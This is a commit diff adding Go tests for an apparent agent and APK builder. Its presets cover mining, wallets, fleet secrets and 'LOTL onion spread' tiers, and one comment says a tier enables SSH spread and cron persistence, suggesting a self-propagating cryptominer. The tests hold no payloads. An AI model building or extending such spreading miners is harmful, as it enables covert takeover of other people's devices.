Expand P2 test coverage: mining chain, spread lanes, path forge, WS/beacon, E2E onion, file handling
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
Some checks failed
CI Docker Mining Proof / Linux agent hashrate proof (push) Has been cancelled
This commit is contained in:
@@ -9,6 +9,27 @@ import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestApplyApkScoutPreset(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "scout-tablet",
|
||||
ServerURL: "http://192.168.1.5:8989",
|
||||
Threads: 8,
|
||||
}
|
||||
ApplyApkScoutPreset(req)
|
||||
if !req.ApkMode || !req.ScoutMode || !req.MiningDisabled {
|
||||
t.Fatalf("scout preset flags: apk=%v scout=%v mining_disabled=%v", req.ApkMode, req.ScoutMode, req.MiningDisabled)
|
||||
}
|
||||
if req.LotlOnionEnabled {
|
||||
t.Fatal("scout must not enable LOTL onion spread chain")
|
||||
}
|
||||
if len(req.LotlOnionTiers) != 2 || req.LotlOnionTiers[0] != "discover_and_join" {
|
||||
t.Fatalf("scout tiers = %v", req.LotlOnionTiers)
|
||||
}
|
||||
if req.Wallet == "" {
|
||||
t.Fatal("scout preset should set placeholder wallet")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApplyApkBuildPreset(t *testing.T) {
|
||||
req := &BuildRequest{
|
||||
WorkerName: "phone-1",
|
||||
@@ -29,6 +50,13 @@ func TestApplyApkBuildPreset(t *testing.T) {
|
||||
if req.ApkAgentName != "phone-1" {
|
||||
t.Fatalf("apk_agent_name=%q", req.ApkAgentName)
|
||||
}
|
||||
// "linux" tier must be absent — it enables SSH spread / cron which cannot
|
||||
// run inside the Android process sandbox.
|
||||
for _, tier := range req.LotlOnionTiers {
|
||||
if tier == "linux" {
|
||||
t.Fatalf("linux LOTL tier must not be set for APK builds, got tiers=%v", req.LotlOnionTiers)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestPlatformsForRequestApkMode(t *testing.T) {
|
||||
@@ -49,7 +77,7 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||
}
|
||||
|
||||
h.apkBuildFn = func(h *Handler, ctx context.Context, androidDir, buildDir string) (string, error) {
|
||||
apk := filepath.Join(buildDir, "agent-app-release.apk")
|
||||
apk := filepath.Join(buildDir, "agent-app-debug.apk")
|
||||
if err := os.WriteFile(apk, []byte("PK fake apk"), 0644); err != nil {
|
||||
return "", err
|
||||
}
|
||||
@@ -85,6 +113,12 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||
if cfg.ServerURL != req.ServerURL || cfg.WorkerName != "tablet-1" {
|
||||
t.Fatalf("config.json: %+v", cfg)
|
||||
}
|
||||
if cfg.WorkerNumber != "tablet-1" {
|
||||
t.Fatalf("worker_number=%q want tablet-1", cfg.WorkerNumber)
|
||||
}
|
||||
if cfg.BuildID == "" {
|
||||
t.Fatal("build_id must be non-empty")
|
||||
}
|
||||
|
||||
agentAsset := filepath.Join(h.apkAssetsDir(), "agent")
|
||||
if _, err := os.Stat(agentAsset); err != nil {
|
||||
@@ -106,6 +140,106 @@ func TestBuildAPKAgentMockGradle(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestApkConfigJSONFleetSecret(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
h.fleetSecret = "test-fleet-secret-abc123"
|
||||
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := &BuildRequest{
|
||||
WorkerName: "secret-node",
|
||||
ApkAgentName: "secret-node",
|
||||
ServerURL: "http://10.0.0.1:8989",
|
||||
MiningDisabled: true,
|
||||
}
|
||||
if err := h.writeApkConfigJSON(req, "build-secret-test"); err != nil {
|
||||
t.Fatalf("writeApkConfigJSON: %v", err)
|
||||
}
|
||||
|
||||
raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("read config.json: %v", err)
|
||||
}
|
||||
var cfg apkAssetConfig
|
||||
if err := json.Unmarshal(raw, &cfg); err != nil {
|
||||
t.Fatalf("unmarshal: %v", err)
|
||||
}
|
||||
|
||||
if cfg.FleetSecret != "test-fleet-secret-abc123" {
|
||||
t.Errorf("fleet_secret: got %q want %q", cfg.FleetSecret, "test-fleet-secret-abc123")
|
||||
}
|
||||
if cfg.WorkerName != "secret-node" || cfg.WorkerNumber != "secret-node" {
|
||||
t.Errorf("worker: name=%q number=%q", cfg.WorkerName, cfg.WorkerNumber)
|
||||
}
|
||||
if cfg.Mining.Enabled {
|
||||
t.Error("mining.enabled should be false when MiningDisabled=true")
|
||||
}
|
||||
if cfg.BuildID != "build-secret-test" {
|
||||
t.Errorf("build_id: got %q want %q", cfg.BuildID, "build-secret-test")
|
||||
}
|
||||
}
|
||||
|
||||
func TestApkConfigJSONNoSecretOmitted(t *testing.T) {
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
// h.fleetSecret is empty — fleet_secret must be omitted from JSON
|
||||
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
req := &BuildRequest{
|
||||
WorkerName: "no-secret-node",
|
||||
ServerURL: "http://10.0.0.2:8989",
|
||||
}
|
||||
if err := h.writeApkConfigJSON(req, "bld-nosecret"); err != nil {
|
||||
t.Fatalf("writeApkConfigJSON: %v", err)
|
||||
}
|
||||
|
||||
raw, err := os.ReadFile(filepath.Join(assetsDir, "config.json"))
|
||||
if err != nil {
|
||||
t.Fatalf("read config.json: %v", err)
|
||||
}
|
||||
if strings.Contains(string(raw), "fleet_secret") {
|
||||
t.Errorf("fleet_secret should be omitted when empty, got:\n%s", raw)
|
||||
}
|
||||
}
|
||||
|
||||
func TestApkAssetPathsMatchBinaryExtractor(t *testing.T) {
|
||||
// Cross-check Go builder output with android BinaryExtractor.kt constants:
|
||||
// ASSET_NAME = "agent", config consumed by AgentConfig.kt as config.json.
|
||||
h, database := testHandlerDB(t)
|
||||
t.Cleanup(func() { _ = database.Close() })
|
||||
assetsDir := h.apkAssetsDir()
|
||||
if err := os.MkdirAll(assetsDir, 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
agentBin := filepath.Join(t.TempDir(), "agent-arm64")
|
||||
if err := os.WriteFile(agentBin, []byte("elf-agent-binary"), 0755); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if err := h.copyAgentBinaryToApkAssets(agentBin); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
agentAsset := filepath.Join(assetsDir, "agent")
|
||||
if _, err := os.Stat(agentAsset); err != nil {
|
||||
t.Fatalf("agent asset missing at BinaryExtractor ASSET_NAME path: %v", err)
|
||||
}
|
||||
if err := h.writeApkConfigJSON(&BuildRequest{
|
||||
WorkerName: "tab-1", ServerURL: "http://deck:8989", MiningDisabled: true,
|
||||
}, "bld-cross"); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(assetsDir, "config.json")); err != nil {
|
||||
t.Fatalf("config.json missing for AgentConfig.kt: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestNormalizeRequestApkSkipsWallet(t *testing.T) {
|
||||
h := &Handler{}
|
||||
req := &BuildRequest{
|
||||
|
||||
Reference in New Issue
Block a user